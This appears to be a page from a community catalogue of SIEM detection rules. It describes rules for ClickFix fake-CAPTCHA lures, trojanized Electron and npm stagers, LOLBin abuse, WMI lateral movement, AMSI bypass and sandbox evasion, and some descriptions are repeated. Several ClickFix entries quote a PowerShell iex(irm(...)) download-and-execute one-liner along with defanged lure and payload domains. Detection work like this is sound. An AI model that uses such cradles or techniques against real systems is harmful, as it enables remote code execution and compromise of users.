Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
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Detects a trojanized Electron application performing anti-sandbox environment checks by querying GPU hardware information via WMI or PowerShell CIM cmdlets. This activity is characterized by the presence of the PYTHONUTF8 environment variable and is identified as a precursor step to attempting Microsoft Defender exclusions and launching a malicious payload.
Detects UAT-11587 Stage 1 HTA and WSF stager template: hidden/zero-sized window, fixed Cloudflare Pages tracking beacon with ?track, and WinHttp/MSXML ActiveXObject loading Stage 2 from Cloudflare R2 or CloudFront.
Detects the Kothamine post-installation technique where npm/node spawns PowerShell to reflectively load a .NET assembly stager into memory. This behavior is followed by the PowerShell process spawning anomalous instances of RuntimeBroker.exe or svchost.exe. These spawned processes exhibit suspicious characteristics, such as executing from non-standard file paths, having missing command-line arguments (like the required '-k' for svchost), or having an illegitimate parent process (powershell.exe) instead of standard system parents like services.exe or wininit.exe.
Detects the Kothamine post-installation technique where npm/node spawns PowerShell to reflectively load a .NET assembly stager into memory. This behavior is followed by the PowerShell process spawning anomalous instances of RuntimeBroker.exe or svchost.exe. These spawned processes exhibit suspicious characteristics, such as executing from non-standard file paths, having missing command-line arguments (like the required '-k' for svchost), or having an illegitimate parent process (powershell.exe) instead of standard system parents like services.exe or wininit.exe.
Detects the Kothamine post-installation technique where npm/node spawns PowerShell to reflectively load a .NET assembly stager into memory. This behavior is followed by the PowerShell process spawning anomalous instances of RuntimeBroker.exe or svchost.exe. These spawned processes exhibit suspicious characteristics, such as executing from non-standard file paths, having missing command-line arguments (like the required '-k' for svchost), or having an illegitimate parent process (powershell.exe) instead of standard system parents like services.exe or wininit.exe.
Detects the execution of known Living-off-the-Land Binaries (LOLBins) such as mshta, certutil, regsvr32, rundll32, and msiexec, where the command-line arguments contain suspicious patterns indicative of script execution or remote file fetching. These behaviors are consistent with T1218 (System Binary Proxy Execution) to bypass security controls by utilizing trusted, signed binaries to execute malicious code.
Detects unauthorized or suspicious use of Windows Management Instrumentation (WMI) for lateral movement and remote code execution. The rule monitors for common WMI exploitation vectors, including the use of wmic.exe for process creation, PowerShell or C# invocations of WMI/CIM methods (such as Win32_Process Create), WMI event subscription registration for persistence, and the execution of mofcomp.exe.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
This rule detects a multi-stage attack chain involving the execution of a script (likely config.cmd) via curl, followed by the modification of the Active Setup StubPath registry key for persistence, and subsequent execution of a Python script (config.py) from a non-standard location in AppData\Local\Microsoft\.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
This rule detects potentially malicious activity involving the execution of Node.js scripts initiated by system script proxies (wscript, cscript, msiexec) within specific paths, often associated with subsequent installation of VBScript agents or direct network communication with a known command-and-control IP address.
Detects malicious processes or scripts that perform multi-stage environment fingerprinting to identify virtualization or sandbox environments. The rule identifies chains of suspicious activities, including querying registry keys related to virtualization (e.g., VMware, VirtualBox, QEMU), WMI queries for BIOS/Computer system details, API calls common to sandbox evasion (GetCursorPos, GetTickCount), and artificial execution delays (sleep/timeout), typically used by malware like LummaC2 to perform conditional exits if an analysis environment is detected.
Detects potential execution of malicious commands following a fake browser crash dialog, often used in social engineering attacks (CrashFix). The rule identifies PowerShell or Windows Script Host processes spawned by common web browsers shortly after a browser session start, specifically looking for common command-line indicators used to copy-paste or execute malicious snippets, while filtering out legitimate WerFault.exe crash reporting activity.
This rule detects potential command and control or malicious file staging activity by correlating DNS TXT record queries (often used for data exfiltration or staging configuration) performed by common system utilities (nslookup, PowerShell) with the subsequent execution of files from suspicious directories (Downloads, Temp) within a 30-minute window on the same device.
Detects potential execution of malicious commands following a fake browser crash dialog, often used in social engineering attacks (CrashFix). The rule identifies PowerShell or Windows Script Host processes spawned by common web browsers shortly after a browser session start, specifically looking for common command-line indicators used to copy-paste or execute malicious snippets, while filtering out legitimate WerFault.exe crash reporting activity.
Detects the SharePoint application pool worker process (w3wp.exe) spawning command-line interpreters or scripting engines. This behavior is indicative of post-exploitation activity where an attacker, having gained remote code execution via techniques like insecure deserialization, executes commands or deploys in-memory webshells within the context of the IIS worker process.
This rule detects potential persistence mechanisms by monitoring for the creation of scheduled tasks using the 'OneDriveUpdateScheduler' name, as well as the execution of suspicious scripts named 'update1.vbs' or 'update1.ps1' by wscript.exe, cscript.exe, or powershell.exe when spawned from explorer.exe.
Detects the 'ClickFix' social engineering attack where a user is instructed to use the Windows Run dialog (Win+R) to execute a malicious one-liner. This activity is characterized by explorer.exe spawning common command/script interpreters (powershell, cmd, mshta, etc.) containing typical download-and-execute strings (cradles), which bypasses browser-based download security controls.
Detects the use of PowerShell script blocks that attempt to bypass or disable Antimalware Scan Interface (AMSI) or Event Tracing for Windows (ETW) by interacting with internal .NET objects or DLLs, a common technique in phishing-delivered payloads.
Detects mshta.exe or rundll32.exe spawned as a direct child of explorer.exe with a remote HTTP/HTTPS URL or javascript: URI as an argument. This pattern is indicative of ClickFix-style phishing campaigns where users are socially engineered into running malicious commands via the Windows Run dialog or clipboard, leading to execution of remote malicious payloads proxied through trusted system binaries.
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